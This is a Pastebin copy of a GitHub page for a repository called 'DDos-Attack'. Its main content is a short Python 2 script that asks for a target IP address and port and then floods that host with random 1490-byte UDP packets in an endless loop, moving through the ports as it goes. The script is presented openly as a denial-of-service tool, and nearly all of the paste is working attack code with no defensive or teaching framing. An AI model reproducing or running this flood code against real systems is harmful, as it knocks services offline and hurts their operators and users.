Advertisement
Guest User

Untitled

a guest
Oct 22nd, 2019
127
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.09 KB | None | 0 0
  1. Save New Duplicate & Edit Just Text
  2. 1
  3. 2
  4. 3
  5. 4
  6. 5
  7. 6
  8. 7
  9. 8
  10. 9
  11. 10
  12. 11
  13. 12
  14. 13
  15. 14
  16. 15
  17. 16
  18. 17
  19. 18
  20. 19
  21. 20
  22. 21
  23. 22
  24. 23
  25. 24
  26. 25
  27. 26
  28. 27
  29. 28
  30. 29
  31. 30
  32. 31
  33. 32
  34. 33
  35. 34
  36. 35
  37. 36
  38. 37
  39. 38
  40. 39
  41. 40
  42. 41
  43. 42
  44. 43
  45. 44
  46. 45
  47. 46
  48. 47
  49. 48
  50. 49
  51. 50
  52. 51
  53. 52
  54. 53
  55. 54
  56. 55
  57. 56
  58. 57
  59. 58
  60. 59
  61. 60
  62. 61
  63. 62
  64. 63
  65. 64
  66. 65
  67. 66
  68. 67
  69. 68
  70. 69
  71. 70
  72. 71
  73. 72
  74. 73
  75. 74
  76. 75
  77. 76
  78. 77
  79. 78
  80. 79
  81. 80
  82. 81
  83. 82
  84. 83
  85. 84
  86. Skip to content
  87. Why GitHub?
  88. Enterprise
  89. Explore
  90. Marketplace
  91. Pricing
  92. Search
  93.  
  94. Sign in
  95. Sign up
  96. 14169158Ha3MrX/DDos-Attack
  97. Code Issues 3 Pull requests 5 Projects 0 Security Insights
  98. Join GitHub today
  99. GitHub is home to over 40 million developers working together to host and review code, manage projects, and build software together.
  100.  
  101. DDos-Attack/ddos-attack.py
  102. @Ha3MrX Ha3MrX Update ddos-attack.py
  103. 55c553a on 4 Jun 2018
  104. 52 lines (47 sloc) 1.11 KB
  105.  
  106. import sys
  107. import os
  108. import time
  109. import socket
  110. import random
  111. #Code Time
  112. from datetime import datetime
  113. now = datetime.now()
  114. hour = now.hour
  115. minute = now.minute
  116. day = now.day
  117. month = now.month
  118. year = now.year
  119.  
  120. ##############
  121. sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  122. bytes = random._urandom(1490)
  123. #############
  124.  
  125. os.system("clear")
  126. os.system("figlet DDos Attack")
  127. print
  128. print "Author : HA-MRX"
  129. print "You Tube : https://www.youtube.com/c/HA-MRX"
  130. print "github : https://github.com/Ha3MrX"
  131. print "Facebook : https://www.facebook.com/muhamad.jabar222"
  132. print
  133. ip = raw_input("IP Target : ")
  134. port = input("Port : ")
  135.  
  136. os.system("clear")
  137. os.system("figlet Attack Starting")
  138. print "[ ] 0% "
  139. time.sleep(5)
  140. print "[===== ] 25%"
  141. time.sleep(5)
  142. print "[========== ] 50%"
  143. time.sleep(5)
  144. print "[=============== ] 75%"
  145. time.sleep(5)
  146. print "[====================] 100%"
  147. time.sleep(3)
  148. sent = 0
  149. while True:
  150. sock.sendto(bytes, (ip,port))
  151. sent = sent + 1
  152. port = port + 1
  153. print "Sent %s packet to %s throught port:%s"%(sent,ip,port)
  154. if port == 65534:
  155. port = 1
  156.  
  157. © 2019 GitHub, Inc.
  158. Terms
  159. Privacy
  160. Security
  161. Status
  162. Help
  163. Contact GitHub
  164. Pricing
  165. API
  166. Training
  167. Blog
  168. About
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement